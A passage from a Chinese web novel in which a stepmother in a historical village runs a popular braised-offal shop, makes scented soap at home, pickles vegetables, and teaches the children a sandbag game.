万絮也咂舌：“这也太赚钱，这才卖了一天。” 万辽笑的见牙不见眼：“发财喽。” 抛去收下水的本钱和租牛车的前钱，一共赚了一千六百多文，净赚了一两多银子。 这样一月下来，就能赚三十多两银子，还了买铺子的十两银子后，还有二十两银子。 “再累也值了。”卜霜心情舒爽。 第38章 香胰子 虽然这是开业第一天，食客爆火并不代表以后也会如此，三日往后客人可能会减少，但是粗略一估计，每月所赚收益也完全可以送小崽子们可以去学堂了。 不怪四小只已经开始对这银钱傻笑，这么些铜板沉甸甸的铺在眼前，还仅是半天所得，谁能控制得住自己内心的激动呢。 卜霜拿出几根麻绳，把这些铜板一个一个的串起来，最后拿着一盘子铜钱拿出去兑成两个整银子，另外加几串铜钱。 因为只过了半天卤味就卖光了，此刻天色还早，卜霜和孩子们把铺子整理干净，关好店铺门后，剩下了大量时间可以干些别的事情。 今天能赚这么多钱，万路万絮四个小帮工们功不可没，这是大家一起赚到的钱。 卜霜一直秉承着及时回馈的想法，也想让他们好好享受一下劳动后享用收获的快乐。 万路他们之前穷，或多或少在花钱时都有一种拘谨感。 不过不打紧，卜霜以后会用大量的银钱慢慢帮助他们克服。 她立即便带着孩子们在镇上采买起来。 顺便收集镇上学堂的信息，卜霜还想让他们上镇上的学堂。 万辽是个吃货，以往逛街时眼珠子往各种食物上落，但是自从卜霜开始做饭之后，他渐渐地就对镇上的好吃的都没了兴趣。 实在是娘的手艺太好了，镇上的饭菜根本没法比，他想吃什么娘都会做。 所以他这次只买了一些玩的。 万萱爱吃甜，有了钱一个劲的往糖果铺子里钻，卜霜给她各样糖果都买了一些，外加一串糖葫芦她就乐呵呵的了。 新月楼的点心清香，不是很甜，上次药铺掌柜的给卜霜打包了一份，万路很是爱吃，于是她又去新月楼把上次吃过的和新出的点心都打包了一份。 他们一行人在街上慢慢的走，直到路过一家卖胭脂水粉的粉铺子时，万絮停住了步子，卜霜瞧她看着大开的铺子门内桌子上摆放的胭脂头花之类的东西移不开目光，以为她是想买这些。 “万絮，你想买胭脂吗？” 孩子大了，也是到了爱美的时候了。 万絮摇摇头，有些难为情的道： “娘，咱要不然买一块香胰子吧。” 要那干啥？ 卜霜疑惑：“怎么了？” “这几天咱们天天洗猪下水，衣服总是洗不干净，有股很重的味道，小美她们走过的时候总是笑我们。” 小美是张婶的女儿。 她娘和卜霜不对付，她也常伙同村里一些孩子找万絮万路的茬。 卜霜低下头闻了闻衣领和袖子，还真有一股膻味。 她这些天忙着卤下水开铺子，什么都顾不了，竟然一直没闻到。 万絮心思细，又是女孩子，最近不知道因为衣服上的这股味道有多烦恼。 是她粗心了，现在仔细回想，孩子们平时洗脸都是用淘米水，竟然脸块好用的香胰子都没有。 卜霜爽快点点头：“行，那就进去一人挑一块。” “不用，我们小，衣服也小，四个人合用一块就行了，娘你再拿一块，买两块就足够了。”万絮连忙道。 他们现在手里有钱，不就一块香胰子吗，有必要这么节省吗？ 直到进了香粉铺子一问价格，卜霜才知道为什么万絮开口前会那么犹豫。 这个时代，香胰子价格不菲。 小孩巴掌大那么一小块香胰子，就要三十文一块。 而且这不比衣服之类的东西，是消耗品，用不了多久。 所以几乎只有达官贵人和富商府里的女眷才用的起。 而且就算是她们，也只是用来洗脸洗手的，不会奢靡到拿去洗衣服。 万絮也是实在没办法，她用草木灰洗了好多遍衣服，还是有一股很重的味道，她还用过皂角，也无法出去那股膻味，所以才想到了人们说过的香胰子。 据说香胰子的清洁力很强，而且用它洗过的东西还会留下一种淡淡的香味，可好闻了。 所以她才想到买这种金贵玩意一定能洗干净。 几人进了铺子，眼神都没往其他地方看，挑了半天，抠抠搜搜的挑了两块。 卜霜也没有开口让他们多拿。 她进来后大体把铺子里售卖的东西都看了一遍，然后围着柜台仔细看这家香铺里售卖的香胰子。 伙计上前来介绍，卜霜从他的话里提取出了一句话。 “你们家香胰子都是从南面运来的？” “本地没有人做着卖吗？” “客官说笑了，只有南面的水乡富贵地才有人研究做这些文雅的东西，咱们这里没人会做，你别看这东西金贵，其实一半价格都贵在运来的路上了。” 难怪呢。 这里的香胰子，并没有太多款式，也不像现代有很多不同的香味。 它不是圆的就是长的，统一只有一种味道。 而且她看了一圈，香铺里只有皂角，没有肥皂。 卜霜心里有了一个想法。 伙计把孩子们挑的两块香胰子里三层外三层包了好多层，还用锦盒装起来，包的很漂亮。 拎着香胰子出来后，四个小崽子都很开心。 万絮把锦盒放在鼻子前嗅了一下，又珍惜又心疼：“闻起来真香，我洗脸都舍不得用，用来洗衣服也是在太浪费了。” 万辽安慰她：“洗过衣服之后，咱天天都是香香的啦。” 卜霜又露出熟悉的神秘微笑：“娘有个办法，能让你们以后天天都有用不完的香胰子，随便你们洗脸还是洗衣服。” 她卖了个关子，只说回去再告诉他们。 接下来，卜霜带着小崽子们去药铺拿了些薄荷，艾草，白芷，檀香木。 又去香料店买了些制成干花的桂花，茉莉，玫瑰，丁香和各种花的精油。 路过菜摊子，卜霜看了看比起前几日摊子上明显品种寥寥的蔬菜，叹了口气。 入了冬，新鲜蔬菜逐渐会变得越来越少，再过一段日子，就连这些蔬菜都没得买了。 不过现在摊子上的白菜还是有不少的。 卜霜想起前几天正好买了几个大缸，正好可以买些白菜，腌几缸子酸菜，冬天吃饭的时候就着吃。 第39章 腌酸菜 她眼神一亮，租来牛车，就开始往车上疯狂搬白菜。 白菜会缩水，要做两大缸子酸菜，需要不少白菜呢。 买的都差不多了，他们坐着牛车回了武安村。 因为没有预料到这么快就能回来，所以给工匠们的午饭，昨天晚上卜霜就已经做好了，到时候热一热就行，所以她并不着急做饭，而是拿出在镇上买的东西，开始研究怎么做香胰子。 之前观察了香粉铺子卖的香胰子之后，卜霜已经知道了，现在的香胰子市场并没有很成熟。 她要是能做出来香胰子，以后不仅能卖卤味，还能靠香胰子再赚一份钱，而且万絮她们几个以后也不必花大价钱买香胰子了，随时都能用，洗再多猪下水身上永远都是香香的。 卜霜曾经见过怎么做香胰子，虽然是手工制品，但是和做饭还是很像的。 香胰子要用猪油，草木灰水混合，皂化反应后加入香料然后自然成型。 首先要做出草木灰水，提取出碱液。 她让万路去后山和田里捡了一大堆稻草，松针。 然后把它们堆在一起用火点燃，等火灭了后把燃烧过后的稻草松针留下的灰装入一个小袋子里，下面放一个盆。 然后倒入热水过滤，盆里过滤出的褐色的水，放在一边静置。 沉淀一会只取出上面最清澈的水，这就是草木灰水。 之后她取出一大勺猪油，放进锅里加热，融化后把草木灰水倒进去，之后不停地搅拌。 这一步要耗费大量时间，直到搅拌成粘稠的糊状。 再把粘稠的皂液倒入模具，放到院子外的阴凉处，自然冷藏就好了。 在等待中，卜霜指挥万路和万辽制作模具。 万路向木匠手里要了一截松木，用凿子和刻刀按照卜霜的要求雕出五六个花朵样式的模具。 卜霜将搅拌好的皂液倒入模具中，每个模具加入不同的花瓣和草药粉分层。 在皂液半凝固的时候倒入香料粉末。 把所有模具放到阴凉通风的地方，大概一两个时辰后就能脱模了。 万辽和万萱他们蹲在模具旁一瞬不瞬的盯着。 万絮和万路清理起了猪下水，但是也不停地关注着这边的动静。 该做的都做了，卜霜转身收拾起买回来的白菜。 她把白菜外面脏了的破损的老了的菜叶子都去掉，拿着大砍刀把菜根砍下去。 然后将白菜帮都掰下来，放在案板上，先用刀把白菜帮切成薄片，在码起来，快速切成细丝。 三下五除二的功夫，两个大白菜就变成了一堆白菜丝。 卜霜瞧了万萱一眼。 蹲在那里一动不动的，腿不会麻吗，别一会儿起来摔一跤。 她边切菜边喊： “万萱别盯着了，你去把兔子喂了，后面有你哥采的草。” 万萱站起来，指着那些模具：“娘，这香胰子什么时候能做好啊？” “再等一会儿，凝固了从木头里倒出来就可以了。” “那要凝固多久啊，真的能做出来吗？” “要一个时辰后呢，到时候我们试一下，如果可以的话你们一人一块。” 她这次一共做了六块香胰子，都是不同香味的，有桂花，茉莉，玫瑰，丁香，艾草和檀香的。 万萱高高兴兴的去喂兔子了，万辽看了看那一大堆白菜。 “娘，我和你一起切吧。” “不用，小心切到手，你赵婶这会儿吃饭呢，你去喊你赵婶婶一会儿过来和娘一起腌酸菜，娘这白菜买的多，腌好了正好送你赵婶一些。” “哦。”万辽也站了起来，跑去赵昭明家了。 卜霜手下不停，又喊：“万絮，给娘烧锅水，一会儿这白菜丝要下水过一遍。” “好嘞。” 过了一会儿，卜霜见皂液好像凝固的差不多了，就试探着倒了一个出来。 花瓣形状的香胰子完完整整倒了出来，没有一点损坏。 万絮迫不及待的回到屋里拿出一件脏衣服，她从桶里舀出一瓢水倒在盆里。 把脏衣服放进盆里打湿，用卜霜做的香胰子在上面蹭了两下，然后轻轻一搓，衣服上的污渍立刻就融化了。 万絮惊喜的和卜霜对视一眼，拿出棒槌捶打衣服，洗了一会后用清水过了一遍，然后拧干，和万路一起抖散开。 脏衣服居然洗的干干净净，连之前凝固的污渍都消失了，而且衣服上还有一股茉莉的香气。 万辽从赵昭明家里回来，看到这一幕激动的跳起来，满眼都是崇拜：“娘哎，你怎么什么都会，香胰子真的做出来了，而起比我们买的还要香还要好。” 万絮也很激动，她洗衣服时就感觉到了，这个香胰子的泡沫很柔和一点不刺激皮肤，还有润肤的效果，以后她就有香胰子来洗脸啦。 “给我使使。” 万萱听到声音马不停蹄的跑出来：“先给我闻闻。” 两人都想要闻闻香胰子的气味，抢了起来。 卜霜笑着：“抢什么，我不是做了好多块吗？” “抢什么呢？” 赵昭明正好走了进来，身上还带着围裙，看着是刚吃完饭还没来得及脱掉就赶来了。 “赵婶，你快来看我娘做的香胰子。”万辽急忙招呼她。 赵昭明闻言两只手在围裙上擦了擦，立刻跑来过来，拿起那块香胰子左右端详过后，在鼻子嗅前了一下，她不可思议道。 “这是你娘做的？” 她之前去镇子上时在香粉铺子里摸过好多次香胰子，只是没下定决心买。 手里这块还真的和香粉铺子里的香胰子差不多。 不过卜霜做的这块比铺子里卖的好看的多，香味也好闻的多。 “是啊，你看，这是我们刚刚用这块香胰子洗的衣服，可干净啦。” 赵昭明震撼道：“卜妹妹，你也太厉害了，不仅厨艺高超，连这种金贵东西你也能做出来。” 之前卜霜和她提议后，赵昭明就在犹豫要不要送大壮去念书，现在却是下定了决心。 会读书写字真的不一样，她得送大壮念书，以后才能像卜霜这样有本事。 第40章 腌咸菜 卜霜编了个借口：“我以前看过一本《香谱》，里面记载了香胰子的做法，虽然具体步骤没有写出来，但是我用上面的方法结合着自己的想法做了做，没想到还真做出来了。” 赵昭仪：“卜妹妹，我想好了，你要是找好了学堂，我就送大壮和万路万絮他们一起去念书。” “真的？”卜霜一愣，随即由衷的开心：“太好了，不过你怎么忽然间想通了？” “姐姐也是看了你才下定决心，之前总听人说什么读书才有出息，我还不信，觉得庄稼人会种田插秧，有把子力气不就行了吗，但是如今看着你才知道真不一样，你会识字读书，做起生意也是和常人不一样的，想法多主意大，连这种金贵东西都能做得出来。” 虽然卜霜会做这些并不是念书念出来的，但是她并不说出来，而且很赞同赵昭明的想法，平头百姓的出路少，读书是很重要的出路。 “我也不指望大壮给我考个秀才什么的，他能在书中长长见识，就是好的。” 卜霜点点头，同意：“姐姐想的对，只要会识字，他们以后会做到许多我们预料不到的事情。” 赵昭明摸了摸那件洗干净的衣服，一点膻味都没有，茉莉的香气虽不浓烈，但是三步外都能闻得到。 她笑开：“卜妹妹，这些香胰子要是能多做一些出来，可是个赚钱的大买卖啊。” 果然。 赵昭明是个聪明人，也和她想到一块了。 卜霜讲着心里的想法： “香胰子的产量好解决，刚刚不确定能不能做出来，所以我只做了六种味道。如果真的要以后我还可以做出更多味道，比如夏季，就可以做薄荷味道，除此之外还可以做出不同功能的香胰子，加入各种药材，这样做出来的香胰子既有香味，还能有一定的药效，甚至可以组合起来做出混合的香味，还可以加入水果皮，做出果香型的胰子。” “这样以后只要人们用过了香胰子，身上就像熏了香，经久不散。” “这个模具也可以做出不同样式的，模具里面还可以刻一些花纹，把香胰子做成精美的手工品，这样又好看又好用还能起到熏香效果的香胰子，那些夫人小姐们一定会很喜欢用。” 卜霜越说越兴奋，一提起做生意，她的思路就源源不断的散发，简直停都停不下来。 赵昭明目瞪口呆的听着这些新颖想法，看着她又是羡慕又是赞叹。 她现在觉得卜霜在做生意上是有一定天赋的，这是光靠念书也学不到的程度。 不过，她家大壮只要能学的卜霜一两分的本事她就心满意足了。 四个小崽子也是嘴巴越张越大，后娘真聪明，他们只想到以后可以不用花钱就有香胰子用了，还没想过可以用这个赚钱。 卜霜说了好多，把思路也理清楚了，她如果要做这方面的生意，就要和现在香粉铺子里的香胰子区别开，那么她的噱头就是推出各种香型，花香胰子，果香胰子，还有一定功能的药香胰子，还可以在香胰子的样子上下功夫。 而且香胰子和卤味可不一样，对于卤味这种吃食，如今的价格已然是极限，但是香胰子针对的都是有钱人，价格昂贵，成本又低。 卜霜有信心，即便她做出来的香胰子售价很贵也一定会供不应求。 “赵姐姐，我一共做了六块香胰子，你也选两块拿回去和大壮一起用吧。” “这怎么好意思啊。” 赵昭明嘴上这么说的，手却很诚实的挑了起来。 卜霜被她逗得乐不可支：“这只是初代的产品，做的还不够精细呢，不过自用是够了，你尽管拿去用，等我之后做出更好的香胰子来，你才有福气了。” 她把剩下的香胰子都脱了模，六块花朵样式的香胰子齐齐整整摆成一排。 万路万絮万辽万萱和赵昭仪围在一起很珍贵的挑来挑去。 赵昭明最后选了一块玫瑰胰子和一块艾草胰子。 万絮选的是桂花味道的胰子。 万辽选了茉莉胰子。 万萱是丁香胰子。 万路的是檀香胰子。 倒是都很符合各自的性格。 他们心满意足的把珍贵的香胰子藏好。 赵昭明和卜霜进了厨房，看着地上堆满了的白菜咂舌：“哎呦，万辽说你要腌酸菜，我以为就腌一小坛呢，你居然买了这么多白菜，能吃的完吗？” 她又看向案板上已经切好的白菜丝，用手拨了拨，赞道：“好刀功。” 卜霜继续切菜，回道：“冬天新鲜蔬菜少，多囤一些酸菜，吃饭的时候嘴里也有个咸淡，这不多啊，我家里四个孩子呢，腌好后你拿走一缸，再给张婶子他们送一些，怎么也能吃完。” 赵昭明干活利索，立刻撸起袖子，和卜霜一起切剩下的白菜。 卜霜将先前切好的白菜丝放入锅内烧开的水中，烫过之后，用笊篱捞出来沥干水，放入准备好的木盆里。 她拿着盐罐子往木盆堆起来的一堆白菜上撒了好多盐，然后晾了一段时间，继续去切白菜，直到木盆里开水煮过的白菜冷却，盐也浸透的差不多之后，坐在凳子上开始用手攥出白菜的水分。 之前买回来的腌菜缸子已经洗的干干净净了，卜霜先往里撒一层盐，然后把攥干水分的白菜紧密放进去，每码一层再撒一层盐，直到白菜装到缸子口，再在顶层多撒些盐防腐，然后再里面倒入凉开水，水要将所有白菜都淹没，然后再往里面倒入一小勺醋。 卜霜往缸子里的白菜上压上一块洗的干净的石头，再把盖子压好，放到阴凉处，大概半个多酸菜就能腌好了。 接下来赵昭明不断把切好的菜叶子在锅里过了开水后，丢入木盆里，卜霜不断的攥干菜的水分装入腌菜缸。 这个攥水的过程，虽然不难但是漫长，她要不断地重复把吸满了盐水的菜叶子攥出水的动作，因为手长时间的接触盐水，手被盐水蛰的红肿，又痒又痛。 卜霜实在忍不了，拿出手呼气。 她之前做酸菜是戴着手套做的，不知道这个盐水这么刺激手，这个时代又没有手套，真是无奈。 第41章 打沙包 赵昭明看到了，果断起身过来：“我来吧，你去切菜去。” 卜霜甩着手：“那行，你手疼了再换我。” 赵昭明笑着：“卜妹妹你手嫩，我茧子厚的从火上端菜都不用布垫着的，就这些白菜腌多久都不会疼。” 卜霜仔细一看自己的手。 还真是。 可能是喝了灵泉水的原因，原主以前粗糙的茧子都没有了，现在这双手白皙柔嫩的像没干过活一样。 他们俩人合作，很快就把地上的白菜消灭了一大半。 卜霜手上利索，一棵白菜不消一刻就在她的刀下变成一堆白菜丝。 “赵姐姐你家里还有腌菜的缸子吗？” “有是有，但是酸菜不都快腌好了吗，现在的腌菜缸够了。” 赵昭明看了一眼剩下不多的白菜，有些疑惑。 卜霜：“我准备再腌一些咸菜。” “腌咸菜？” “就是用芥菜腌出来的一种小菜，味道很好，比酸菜还好吃呢。” 她从大棚蔬菜的地里看过，种下的芥菜已经长出来了。 荠菜长得快，产量多，但是味道辛辣苦涩，口感又硬又韧，做菜不好吃，所以村里人都没人吃这个。 可他们不知道，这东西腌咸菜吃是一流。 赵昭明从来没听过还有这种做法，酸菜之外还有咸菜，不过她对卜霜的厨艺和把没人吃的东西做成宝的功力已经没有任何质疑了，很快就回家取回几个腌菜坛子。 卜霜从大棚里把全部芥菜都挖了出来。 她把芥菜洗干净，擦去表面的水，然后切成小段。 将芥菜段放入木盆里，还是之前的手法，不过这次撒的是粗盐。 然后便让赵昭明用手大力揉搓，直到芥菜出水变得绵软一些在捞出。 之后她将揉好的芥菜和菜汁一起放进腌菜坛里，压实了把空气排出，表面再撒一层盐，撒入花椒和辣椒，再撒一些糖之后，用压菜石头压好，盖好盖子放到腌的酸菜缸子旁边。 咸菜比起酸菜来腌的时间短很多，只要腌个三五天，就可以取出来吃了。 酸菜酸爽脆嫩，咸菜呢口感紧实，味道咸辣带甜。 味道上虽然各有不同，但是腌菜腌制时间短，可以边吃边腌，三五天取出来的味道是脆嫩清爽，腌的时间长一些后，味道会变得重一些。 又做好一坛子咸菜后，卜霜擦了一把汗，打开窗户吹风，见万路他们也洗出了好些猪下水了。 “万路万絮，你们别干活了，带着弟弟妹妹玩一会儿。” 本来就是爱玩的年纪，之后还要念书，玩的时间就更少了。 卜霜不愿意压抑他们的天性，小孩子就应该开开心心，什么都不想的多玩。 “好！”万辽第一个蹦起来。 卜霜就边干活，边透过窗户看他们几个。 村子里的娱乐活动真的是太贫瘠了。 卜霜看了一会儿见他们几个凑在一起也就是在地上写写画画。 “都过来，娘给你们找点好玩的游戏。” 卜霜拿出一个小布袋子，让万辽去外面装半袋子沙子给她。 然后她把装了沙子的小布袋子收好口，做成一个只有拳头大小的沙包，出了院子，教他们玩法。 “这个游戏呢叫做打沙包。” “你们先分成两队，用剪刀石头布决定，赢得人是一队，输的人是一队。” 四个孩子剪刀石头布过后。 万路万萱一队，万絮和万辽一队。 卜霜捡起地上的树枝，在两队中间划了一条线。 “以此为界，你们两队站在线的两边，然后选定哪队先攻击，期间你们可以任意跑动，攻击方朝防守的一方丢出沙袋，要是防守的人被沙袋打中，就被淘汰不能参与下面的游戏，但是防守的人如果接到了攻击方丢过来的沙袋，他接到沙袋的那一刻，所有人立刻就不能动，谁要是动了就立刻淘汰，然后防守方拿着沙袋丢攻击方，打中谁谁淘汰，最后先一步淘汰对方队伍的一方胜利。” 卜霜一口气说完：“听明白了吗？” 万路举手：“攻击方和防守方是轮流的吗，还是一直不变。” “沙袋丢过去之后，有沙袋的那方就是攻击方。” “好，我们开始了。” “哎，等等，你们玩啥呢，带我一个啊。”大壮突然趴着门探出了头。 “这小猢狲，一听有好玩的立刻就过来了。”赵昭明笑骂。 卜霜把他拉进来，不过大壮加入后，玩游戏的人一共变成了五个人，两队有一队就多出了一个人。 所以万辽跑出去又在附近找了马婶子的女儿青篱过来玩丢沙包。 现在两个队一边都有三个人。 几个孩子选好了哪队先攻击，热热闹闹开始玩了起来起来，这是村里从来没有玩过的游戏，一时间孩子们都觉得太有意思了。 他们时不时的惊叫笑闹声在卜家上方盘旋，听的人心情愉快，也跟着笑起来。 赵昭明揉着芥菜，笑呵呵的看着孩子们在院子里跳来跳去，“你从哪知道的这些好玩游戏，我当年也是个小孩子时村里要是有这游戏就不会无聊了。” “这有什么，我知道的游戏还多着呢。” “一会儿把活做完，我们也加入进去玩几把，让你体验体验。” 赵昭明笑着用芥菜梆子丢她：“别说笑了，我都这么大人了，怎么能和个小孩一样玩游戏呢。” “不管是大人还是小孩，都可以玩啊，谁说大人就没有童真的权利了。” 卜霜机灵的转了转眼珠，阴险一笑，起身拽着赵昭明就跑了出去，加入了孩子们的战局。 赵昭明跑不掉只能玩了起来。 没想到这个游戏需要身体非常灵活。 她没多久就被沙包打中淘汰下场了。 赵昭明很不服气，撸起袖子大声嚷嚷：“再来！” 在屋顶做工的匠人已经看了许久，乐呵呵的打趣赵石头：“你妹妹耍赖哦。” 第42章 生意爆火 赵石头摇头哂笑：“她啊以前就是我家的小霸王，本以为当娘后多少会稳重些，结果玩起来还是和以前一个样。” 他手下抹着泥巴，一边扯着嗓子朝下面喊道：“昭明，被沙包打中就淘汰了，你看小万萱都不耍赖的。” 万萱仰起头：“娘说了，好孩子不能耍赖，萱儿是好孩子，才不会耍赖呢。” 众人哄笑一团。 玩了一阵子，卜霜和赵昭明就重新回了厨房。 她们浑身都热乎乎的，只不过动了几下，居然就热的出了汗。 赵昭明脸上红扑扑，坐下继续揉搓芥菜：“没想到你这个游戏看起来简单，玩起来挺累，真有强身健体的效果。” “是啊，打沙包可以让他们活动起来锻炼身手，蹦蹦跳跳伸展筋骨，对身体也好，尤其万路他们几个之后念起书来，一坐就要大半个时辰，要想办法让他们经常动一动。” 几个孩子在院子里你来我往的打沙包，累的浑身燥热也根本停不下来，渐渐地村里附近农户家的小孩听到了玩闹声，都跑了出来，在卜家门口探头探脑的，看他们在玩什么这么开心。 卜霜干脆把这些孩子都叫了进来，万路他们四个小崽子之前除了和大壮玩的比较多之外，在武安村一直都是独来独往的，现在正是一个交朋友的好时机。 而且打沙包是要人多才会更好玩。 之后她又增加了一条新规则，防守方如果接到了沙包，不仅要所有人不能动，还可以复活阵营这边的一个人。 这样一来，每轮游戏进行的时间就更长了，也更有意思了。 接下来的时间，卜霜和赵昭明伴随着孩子们的笑声把剩下的白菜和芥菜都腌好。 到了各家吃晚饭的时候。 工匠们忙了一天喝了几口水就下工了，孩子们也被大人喊了回去，他们约定好明日再玩。 卜霜和四个小崽子匆忙吃过晚饭，把第二天要卖的猪下水都卤好后，就歇息下来。 之后一连五六天，他们都在铺子里忙的脚不沾地，回家之后到头就睡。 卜记食铺远比卜霜预想的还要火爆且持久，新店开业福利只维持了三天，之后没有了赠品，但是每天排在门口的食客不仅没有像卜霜猜测的那样逐渐减少，反是每天还在源源不断的增加，食客多的将铺子前面的路堵得都走不动。 这段期间，也有不少商人眼馋她们家的卤味卖的好，紧跟着开了几家卤味店。 也是卤的猪下水，甚至售价也和卜记食铺的定价相同。 但是这些铺子的猪下水没有好办法处理的总是不干净，又没有卜霜这样好的卤味秘方，他们只是把平日做肉的香料都丢下去熬出一锅汤。 做出来的卤味别说和卜记食铺比较，简直难以下咽。 因此结果显而易见，根本没人去买他们家的卤味。 过了四五天后他们坚持不住了，就把卤味的价格降低了好多，想着把手头这些卤味快些卖光，赚回这几天租铺子的钱，也不算亏本。 只是即便他们铺子的卤大肠已经降到十文一斤，卤的猪肝猪肺猪肚七文一斤，已经是卜记食铺售价的一半了，也依旧没有人去光顾。 只有几个散客因为当日没有抢到卜记食铺的卤味，不想回家被妻女责骂，于是去他们店里买了一些好拿回去交待。 结果卤味拿回去了，妻子尝了一口后更生气了，不仅责骂他们没用抢不到卜记食铺的卤味，还怪他们浪费银钱买回了这难吃的猪下水，后果就是直接把他们赶出了外间睡觉。 被赶出去的怨夫们第二天来镇上一顿牢骚，自此之后，就再也没有人贪便宜去买这些铺子做的卤味了。 他们宁可天不亮就起床到卜记食铺门前排队。 最后这些跟风开的卤味铺子通通以赔钱关店收尾。 这惨痛的代价也给目前所有虎视眈眈盯着卜记食铺的商人打了个醒，从此之后，谁想再沾手卤味这行都要掂量掂量，不敢轻易涉足。 卜记食铺每天客流量爆满，那些好不容易抢到卤味的人吃过卜记的卤味之后满口称赞，总会推荐给其他人。 然后这些被安利的人就会加入第二天的排队抢买战局。 虽说门口的食客多一些可以有从众效应，但是这人也太多了。 这些人总是在外面排队，乌泱泱一堆人堵塞路段不说，卜记食铺也总是被邻里的铺子投诉。 于是卜霜又想出了一个办法，她在店门口打了一个柜台，做了好多号码牌，然后让万絮专门在柜台后待命，负责按照顺序给过来的食客们发号码牌，并一个个叫号码牌的数字。 每天那个人来的早就先在万絮那里领一个数字牌子，数字是几就代表这个客人是队伍的第几个人，然后这些领了牌子的人就可以进铺子里坐着找个地方歇歇脚，或者去街上采买需要的其他东西，叫到几号，拿着这个号码牌的客人再把牌子还给万絮，然后上前来买卤味。 这个方法既可以缓解门前的人流，也可以节约时间让时间紧迫的人做更多的事情，而且食客们也不必大冬天的在门外吹一天的冷风。 自从这个方法实行后，大受食客们的好评，已经有很多的生意火热的酒楼也用起了她的方法。 眼看铺子的生意已经步入了正轨，又过了几天，卜霜就让肉铺掌柜每天把供应的猪下水送到铺子上，他们以后直接在铺子里卤下水，卤好后再回家，再不用每天拎着一大堆卤味在村子和镇上来回的跑了。 这日早早卖光卤味关了铺子，天色还早，卜霜回家后把家里小崽子们的衣服和被褥床单都装到盆里，她做的香胰子都送了人送了人，于是拿了块从镇上买的香胰子，准备去河边洗衣服。 过去的时候，河边已经有几个人女人在洗衣服了，不过看着脸生，没怎么见过。 卜霜打了个招呼，自顾自寻了一片地就开始洗。 第43章 荔香笑起来，黝黑的头发飘动着河水的水光 那几个妇人把草木灰洒在衣服上，拎着棒槌砰砰砰的敲打，敲打好用清水过一遍后继续撒草木灰捶打，这样好几次才能浆洗出一件衣服。 卜霜就轻省多了，她只需要拿香胰子在衣服上蹭一层，然后在盆子里接一些水，用手轻轻揉搓几下，衣服的污渍就消失了，黑黑的水从衣服里飘出来，立刻干净了大半，之后细细再搓洗，没一会儿就洗干净了一件衣服。 妇人洗一件衣服的功夫，卜霜就洗出五件了。 几个妇人看到她的效率，眼神时不时的朝她这飘来，低声议论。 “卜家媳妇怎么洗的那么快，我看她都不用棒槌捶衣服，用手揉两下就干净了。” “不止呢，我还闻到她洗干净的衣服上有一股香味。” “她手上拿的啥，不会是香胰子吧，我听说那玩意洗东西洗的又干净又香。” 女人嗤了一声：“不可能，香胰子是那些有钱人用来洗脸洗手的，一块可贵了，咱们买都买不起，她怎么可能用那来洗衣服。” “那她拿的是什么东西，荔香，你要不去问问。” 几个妇人推攘里面安静沉默的荔香出去问。 荔香是个和卜霜差不多大的姑娘，还没有嫁人，她这个年纪在村子里，已经算是老丫头了，因此她总是被村子里的人嘲笑。 荔香犹豫了半天，还是走到卜霜身边。 她也很想知道卜霜用的什么洗衣服，如果不贵的话，她也想攒钱买来用，如果她洗衣服也能这样快，就不会天天给家里人洗衣服洗的两只手都是冻疮了。 “卜嫂...姐姐，你手里用的是什么东西啊？” 卜霜抬头看了她一眼，笑起来：“香胰子，你也想用吗？” 荔香惊了一跳，没想到她用来洗衣服的真的是妇人们口中那死贵死贵的香胰子。 而且村里人天天说闲话，最近那些闲话里面有一半都是关于卜霜的，她本以为卜霜是那种又蛮横又难缠的性格，没想她居然是这样的，还挺好说话，这么贵的东西说给她用就给她用。 “不行，我就是问问。”荔香摇摇手，眼睛却看着那块香胰子走不动道，她只在以前听人说过香胰子有多好用，多好闻，她见都没见过哩。 “这有什么，拿着用用。”卜霜二话不说就把她拉下来，把香胰子塞到她手上。 荔香手里捏着那块香胰子，很珍惜的摸了好多下，又在鼻子下闻了闻。 卜霜继续洗着盆里的衣服：“你就把它抹在脏衣服上然后用手揉一揉，起了泡沫之后，再揉两下就行了，除了特别脏的衣服用棒槌之外，其余的用手揉就行，就像这样，你看，是不是一下就干净了。” 卜霜把手里的衣服抻开给荔香展示，结果转头一看她捧着香胰子像捧了个什么宝贝，不敢用的样子，直接被逗笑了。 “你” 荔香只把她小心的在手上蹭了一点，然后用水打湿之后，在手上洗出了好多泡沫。 她惊喜的 荔香又深深的吸了一口气之后，就把香胰子还了过来。 “这东西很贵，我不能用，我很少能去镇上，见都没见过” 卜霜看了看她，然后吐出一口气。 “我衣服都洗完了，这剩下的香胰子就送给你了。” 她端着盆就要走，荔香蹦了起来，说话都磕巴了：“不不行，太贵重了，我不能收。” 卜霜笑笑，她对这个女孩很有好感。 “我家还有好多块香胰子，你就拿去用吧，就当我想和你交个朋友。” “不过...”她眼神竖着耳朵的妇人，“你可要拿好了，不要给别人” 卜霜不容拒绝，荔香也红着脸收下了。 之前一起洗衣服的妇人见卜霜走了后都围到荔香身边。 “你问了吗，这究竟是什么？” “是香胰子。” 众人吸了一口气，有人不无酸水的说道：“这卜媳妇，真是居然买来香胰子洗衣服。” “这香胰子她送你了？” “给我用用啊，用完还你。” 荔香想到卜霜，把香胰子护在怀里：“不行，你们一人用一会儿，一会儿就用光了。” “本来也不是你买的东西，我们用一用咋了，” “是啊，就是啊。” “不行，就是不行。”荔香抱起木盆，也不洗衣服了，飞快的跑回了家。 几个妇人见她居然跑了，气闷的跺脚。 “以前还以为她是个老实的，你看她这个一毛不拔的样子。” “这卜媳妇，这里好几个人呢，只给她不给我们” 几人嘟嘟囔囔的谩骂着洗好衣服也回了。 卜霜回了家把衣服晾晒起来。 揭开一罐咸菜，看了看样子， “呦，咸菜腌好了，真香。” 万絮凑过来：“酸酸的，这么快。” “娘今天用咸菜给你们做好吃的。” 她准备做咸菜猪肚汤和咸菜炒肉末。 把猪肚处理好之后，冷水下锅，之后加料酒，姜，焯水之后切成条。 然后国内加水，把猪肚放进去，加入白胡椒，姜片，大火炖一个小时，把猪肚炖的软。 咸菜用清水浸泡去掉表面的盐分，然后挤干水分，把它加入汤里，和猪肚一起再炖半个时辰，然后加入枸杞和盐，就大功告成了。 另一道咸菜炒肉末就更好做了。 先把咸菜剁碎，同样的用水洗去表面盐分。 把猪肉剁成碎末，加料酒，生抽拌匀演一会儿。 然后锅里加油，把猪肉末在锅中煸炒出油，再爆火香蒜末和小米辣，倒入咸菜翻炒， 最后加入生抽和糖，大火翻炒均匀就可以撒葱花出锅了。 这样做出来的咸菜炒肉末肉末好吃，咸菜脆爽，又辣又甜，拌饭吃特别的下饭。 